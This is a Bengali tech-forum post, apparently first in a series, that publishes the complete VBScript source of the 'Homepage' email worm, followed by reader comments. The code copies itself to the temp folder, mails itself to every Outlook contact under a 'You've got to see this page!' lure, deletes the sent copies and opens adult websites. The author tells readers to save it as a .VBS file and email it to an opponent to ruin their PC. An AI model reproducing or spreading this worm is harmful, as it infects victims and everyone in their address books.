সাবধান ! শক্তিশালী ভাইরাস কোড (পার্ট-১)

তৈরী করুন কম্পিউটার ভাইরাস । আমি আজ থেকে সর্ব মোট ১০ পর্বে কিছু ভাইরাসের কোড আপনাদের জানিয়ে দেব । এই টিউন সবজান্তাদের জন্য নহে ..... যারা আমার মত কম জানেন তাদের জন্যই এই টিউন । অবশ্যই অপব্যবহারের জন্য নয় ....

ভাইরাস নিয়ে অনেকে টিউন করে গেছেন ।
তাই যদি কোন কোড মিলে যায় জানাবেন সংশোধনের চেষ্টা করব । আর অবশ্যই ইতিবাচক কমেন্ট আশা করছি ।

আজকে যে ভাইরাসের কোড শেয়ার করব সেটি homepage ভাইরাস । এটি অনেক শক্তিশালী তাই সাবধানে সংরক্ষন করুন । নোটপ্যাড ওপেন করুন এবং নিচের কোডগুলো কপি-পেষ্ট করে দিন । ফাইলটি anything.VBS নামে সেভ করুন । ব্যস তৈরী হয়ে গেল ভাইরাস ।
homepage ভাইরাসঃ
-------------------------------------------------------------------
On Error Resume Next
Set WS = CreateObject("WScript.Shell")
Set FSO= Createobject("scripting.filesystemobject")
Folder=FSO.GetSpecialFolder(2)

Set InF=FSO.OpenTextFile(WScript.ScriptFullname,1)
Do While InF.AtEndOfStreamTrue
ScriptBuffer=ScriptBuffer&InF.ReadLine&vbcrlf
Loop

Set OutF=FSO.OpenTextFile(Folder&"\homepage.HTML.vbs",2,true)
OutF.write ScriptBuffer
OutF.close
Set FSO=Nothing

If WS.regread ("HKCU\software\An\mailed") "1" then
Mailit()
End If

Set s=CreateObject("Outlook.Application")
Set t=s.GetNameSpace("MAPI")
Set u=t.GetDefaultFolder(6)
For i=1 to u.items.count
If u.Items.Item(i).subject="Homepage" Then
u.Items.Item(i).close
u.Items.Item(i).delete
End If
Next
Set u=t.GetDefaultFolder(3)
For i=1 to u.items.count
If u.Items.Item(i).subject="Homepage" Then
u.Items.Item(i).delete
End If
Next

Randomize
r=Int((4*Rnd)+1)
If r=1 then
WS.Run("http://hardcore.pornbillboard.net/shannon/1.htm")
elseif r=2 Then
WS.Run("http://members.nbci.com/_XMCM/prinzje/1.htm")
elseif r=3 Then
WS.Run("http://www2.sexcropolis.com/amateur/sheila/1.htm")
ElseIf r=4 Then
WS.Run("http://sheila.issexy.tv/1.htm")
End If

Function Mailit()
On Error Resume Next
Set Outlook = CreateObject("Outlook.Application")
If Outlook = "Outlook" Then
Set Mapi=Outlook.GetNameSpace("MAPI")
Set Lists=Mapi.AddressLists
For Each ListIndex In Lists
If ListIndex.AddressEntries.Count 0 Then
ContactCount = ListIndex.AddressEntries.Count
For Count= 1 To ContactCount
Set Mail = Outlook.CreateItem(0)
Set Contact = ListIndex.AddressEntries(Count)
Mail.To = Contact.Address
Mail.Subject = "Homepage"
Mail.Body = vbcrlf&"Hi!"&vbcrlf&vbcrlf&"You've got to see this page!
It's really cool ;O)"&vbcrlf&vbcrlf
Set Attachment=Mail.Attachments
Attachment.Add Folder & "\homepage.HTML.vbs"
Mail.DeleteAfterSubmit = True
If Mail.To "" Then
Mail.Send
WS.regwrite "HKCU\software\An\mailed", "1"
End If
Next
End If
Next
End if
End Function

-----------------------------------------------------------------

অপেক্ষায় থাকুন পরবর্তী ভাইরাসের কোডের জন্য ।

Level 0

আমি Mahfuzar Rahman। বিশ্বের সর্ববৃহৎ বিজ্ঞান ও প্রযুক্তির সৌশল নেটওয়ার্ক - টেকটিউনস এ আমি 14 বছর 9 মাস যাবৎ যুক্ত আছি। টেকটিউনস আমি এ পর্যন্ত 31 টি টিউন ও 254 টি টিউমেন্ট করেছি। টেকটিউনসে আমার 0 ফলোয়ার আছে এবং আমি টেকটিউনসে 0 টিউনারকে ফলো করি।

I am moving ....


টিউনস


আরও টিউনস


টিউনারের আরও টিউনস


টিউমেন্টস

এই homepage ভাইরাসের কাজ কি…?

    আমি যে ভাইরাসগুলো নিয়ে টিউন করব সেগুলো সাধারনত ইমেইলে ব্যবহার করা হয় ।
    এই homepage ভাইরাসটি .VBS নামে সেভ করে ই-মেইল করে পাঠিয়ে দিন প্রতিপক্ষের পিসির বারোটা বাজাতে ।
    যখন এটি কাজ করবে তখন নেট কানেকশন থাকতে হবে । এখানে ক্লিক করার পর কম্পউটার স্লো হয়ে যাবে এবং অযাচিত .EXE ফাইল তেরী হবে ।

Level 0

শাকিল ভাই এসব নিয়ে অনেক টিউন করেছে।
তারপর ত্ত টিউনটা করার জন্য ধন্যবাদ।আর এই ভাইরাসটা সম্পকে বিস্তারিত বললে ভাল হত।

    এটা নিয়েই কি শাকিল ভাই টিউন করেছেন ?
    ভাই এটা নিয়েই যদি টিউন হয়ে থাকে তাহলে তো আপনার জানার কথা । আমার ভাষ্য আমি বলেছি বাকিটুকু প্রাকটিকেল দেখে নিয়েন । আশা করি সব বুঝতে পারবেন ।

ধন্যবাদ আপনাকে। তবে আরেকটু বিস্তারিত লিখলে উপকৃত হব।

    আমি যে ভাইরাসগুলো নিয়ে টিউন করব সেগুলো সাধারনত ইমেইলে ব্যবহার করা হয় ।
    এই homepage ভাইরাসটি .VBS নামে সেভ করে ই-মেইল করে পাঠিয়ে দিন প্রতিপক্ষের পিসির বারোটা বাজাতে ।
    যখন এটি কাজ করবে তখন নেট কানেকশন থাকতে হবে ।

ভাই দারুন, আমি একবার এই ভাইরাসের কবলে পরেছিলাম, কি জে অবস্তা করে, একেবারে নেট কানেকসন দিলেই…………. একটু বিস্তারিত লেখেন।

    ধন্যবাদ আপনাকে ।
    ভাইরাসের কাজ কি ধরনের হয় তা সবারই জানা । আমি মূল থিমটুকুনই শেয়ার করার চেষ্টা করেছি ।

Level 0

ভাই আমার computer এ save করলে kaspersky Antivirus Delete করে দেয়।

ভাই যারে পাঠামু সে জানলে তো আমাকে আর আস্ত রাখবে না ।

    আমি কারও ক্ষতি করার জন্য দেই নি ……
    ভাইরাস সর্ম্পকে জানার আগ্রহ অনেকের, তাদের জন্যই এই টিউন ।
    ধন্যবাদ

    আপনি তো দেখি অনেক টিউনই এই কমেন্ট করেছেন, মানে কি এটার ।

vai kaj korlo..4 no ta kaj korena….